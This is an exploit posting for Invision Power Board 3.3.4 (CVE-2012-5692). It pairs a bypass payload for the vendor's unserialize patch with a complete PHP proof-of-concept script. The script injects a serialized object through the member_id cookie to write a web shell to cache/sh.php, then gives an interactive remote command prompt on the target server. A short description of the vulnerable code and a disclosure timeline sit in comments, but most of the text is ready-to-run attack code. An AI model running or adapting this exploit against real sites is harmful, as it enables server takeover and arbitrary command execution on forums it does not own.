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Invision Power Board 3.3.4 Unserialize REGEX Bypass

Posted on 08 November 2012

<?php
/*

So this is the patch that sanitizes,
static public function safeUnserialize( $serialized )
 {
 // unserialize will return false for object declared with small cap o
 // as well as if there is any ws between O and :
 if ( is_string( $serialized ) && strpos( $serialized, "" ) === false )
 {
 if ( strpos( $serialized, 'O:' ) === false )
 {
 // the easy case, nothing to worry about
 // let unserialize do the job
 return @unserialize( $serialized );
 }
 else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
 {
 // in case we did have a string with O: in it,
 // but it was not a true serialized object
 return @unserialize( $serialized );
 }
 }

 return false;
 }

And this is what bypasses it ( By @i0n1c )
$payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}');

Which makes this an IPB 0day. lulz!

- webDEViL

*/

/*
 ----------------------------------------------------------------
 Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
 ----------------------------------------------------------------

 author..............: Egidio Romano aka EgiX
 mail................: n0b0d13s[at]gmail[dot]com
 software link.......: http://www.invisionpower.com/

 +-------------------------------------------------------------------------+
 | This proof of concept code was written for educational purpose only. |
 | Use it at your own risk. Author will be not responsible for any damage. |
 +-------------------------------------------------------------------------+

 [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php

 4015. static public function get($name)
 4016. {
 4017. // Check internal data first
 4018. if ( isset( self::$_cookiesSet[ $name ] ) )
 4019. {
 4020. return self::$_cookiesSet[ $name ];
 4021. }
 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
 4023. {
 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];
 4025.
 4026. if ( substr( $_value, 0, 2 ) == 'a:' )
 4027. {
 4028. return unserialize( stripslashes( urldecode( $_value ) ) );
 4029. }

 The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
 sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts
 with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a
 serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code
 via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug
 info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this
 reason successful exploitation of this vulnerability requires short_open_tag to be enabled.

 [-] Disclosure timeline:

 [21/10/2012] - Vulnerability discovered
 [23/10/2012] - Vendor notified
 [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update
 [25/10/2012] - CVE number requested
 [29/10/2012] - Assigned CVE-2012-5692
 [31/10/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set('default_socket_timeout', 5);

function http_send($host, $packet)
{
 if (!($sock = fsockopen($host, 80))) die("
[-] No response from {$host}:80
");
 fputs($sock, $packet);
 return stream_get_contents($sock);
}

print "
+-----------------------------------+";
print "
| Invision Power Board 0day Exploit |";
print "
+-----------------------------------+
";

if ($argc < 3)
{
 print "
Usage......: php $argv[0] <host> <path>
";
 print "
Example....: php $argv[0] localhost /";
 print "
Example....: php $argv[0] localhost /ipb/
";
 die();
}

list($host, $path) = array($argv[1], $argv[2]);

$packet = "GET {$path}index.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Connection: close

";

$_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : '';

class db_driver_mysql
{
 public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php');
}
# Super bypass by @i0n1c
$payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}');
$phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>';

$packet = "GET {$path}index.php?{$phpcode} HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cookie: {$_prefix}member_id={$payload}
";
$packet .= "Connection: close

";

http_send($host, $packet);

$packet = "GET {$path}cache/sh.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cmd: %s
";
$packet .= "Connection: close

";

if (preg_match('/<?error/', http_send($host, $packet))) die("
[-] short_open_tag disabled!
");

while(1)
{
 print "
ipb-shell# ";
 if (($cmd = trim(fgets(STDIN))) == "exit") break;
 $response = http_send($host, sprintf($packet, base64_encode($cmd)));
 preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("
[-] Exploit failed!
");
}
?>

 

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